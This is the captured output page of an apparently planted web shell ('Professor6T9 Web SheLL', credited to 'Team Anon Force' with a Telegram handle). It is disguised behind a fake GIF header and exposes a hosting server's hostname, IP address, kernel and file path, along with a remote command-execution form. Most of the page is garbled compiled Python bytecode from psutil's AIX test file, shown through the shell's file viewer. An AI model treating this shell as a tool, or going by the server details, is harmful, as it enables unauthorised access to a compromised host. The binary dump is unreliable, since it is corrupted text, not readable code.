GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux das102.truehost.cloud 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
LiteSpeed
156.232.88.2
/
opt
/
alt
/
python38
/
lib64
/
python3.8
/
site-packages
/
psutil
/
tests
/
__pycache__
[ HOME ]
Exec
Submit
File Name : test_aix.cpython-38.pyc
U X}�f� � @ s~ d Z ddlZddlZddlZddlmZ ddlmZ ddlmZ e�e d�G dd� de��Z e d krzdd lmZ ee � dS )zAIX specific tests.� N)�AIX)�PsutilTestCase)�shzAIX onlyc @ s4 e Zd Zdd� Zdd� Zdd� Zdd� Zd d � ZdS )�AIXSpecificTestCasec C s� t d�}d}d�� D ]}|d|f 7 }qt�||�}| �|d� d}t|�d��| }t|�d��| }t|�d ��| }t|�d ��| } t�� } d| | }| � | j |� | j| j||d� | j| j ||d� | j| j| |d� d S ) Nz/usr/bin/svmon -O unit=KBz memory\s*z+size inuse free pin virtual available mmode�(?P<%s>\S+)\s+z(svmon command returned unexpected outputi �size� availableZinuse�free� ��delta)r �split�re�search�assertIsNotNone�int�group�psutilZvirtual_memory�assertEqual�total�assertAlmostEqual�usedr r )�self�out� re_pattern�field�matchobjZKBr r r r � psutil_resultZTOLERANCE_SYS_MEM� r �H/opt/alt/python38/lib64/python3.8/site-packages/psutil/tests/test_aix.py�test_virtual_memory s@ � � � �z'AIXSpecificTestCase.test_virtual_memoryc C sT t d�}t�d|�}| �|d� t|�d��}d}t�� }| �t|j | �|� d S )Nz/usr/sbin/lsps -az=(?P<space>\S+)\s+(?P<vol>\S+)\s+(?P<vg>\S+)\s+(?P<size>\d+)MBz'lsps command returned unexpected outputr i ) r r r r r r r Zswap_memoryr r )r r r Ztotal_mb�MBr r r r �test_swap_memory8 s � �z$AIXSpecificTestCase.test_swap_memoryc C s� t d�}d}d�� D ]}|d|f 7 }qt�||�}| �|d� d}t�� }| j|jt |� d��|d� | j|jt |� d ��|d� | j|jt |� d ��|d� | j|j t |� d��|d� d S )N�/usr/bin/mpstat -azALL\s*zfmin maj mpcs mpcr dev soft dec ph cs ics bound rq push S3pull S3grd S0rd S1rd S2rd S3rd S4rd S5rd syscr z)mpstat command returned unexpected outputi� �csr Zsysc�devZsoft)r r r r r r Z cpu_statsr Zctx_switchesr r ZsyscallsZ interruptsZsoft_interrupts)r r r r r ZCPU_STATS_TOLERANCEr r r r �test_cpu_statsQ s@ � �����z"AIXSpecificTestCase.test_cpu_statsc C s: t d�}tt�d|��d��}tjdd�}| �||� d S )Nr# z lcpu=(\d+)� T)Zlogical)r r r r r r � cpu_countr )r r Zmpstat_lcpuZpsutil_lcpur r r �test_cpu_count_logicaly s z*AIXSpecificTestCase.test_cpu_count_logicalc C s4 t d�}t|�� �}tt�� �� �}| �||� d S )Nz/etc/ifconfig -l)r �setr r Znet_if_addrs�keysZassertSetEqual)r r Zifconfig_namesZpsutil_namesr r r �test_net_if_addrs_names s z+AIXSpecificTestCase.test_net_if_addrs_namesN)�__name__� __module__�__qualname__r r"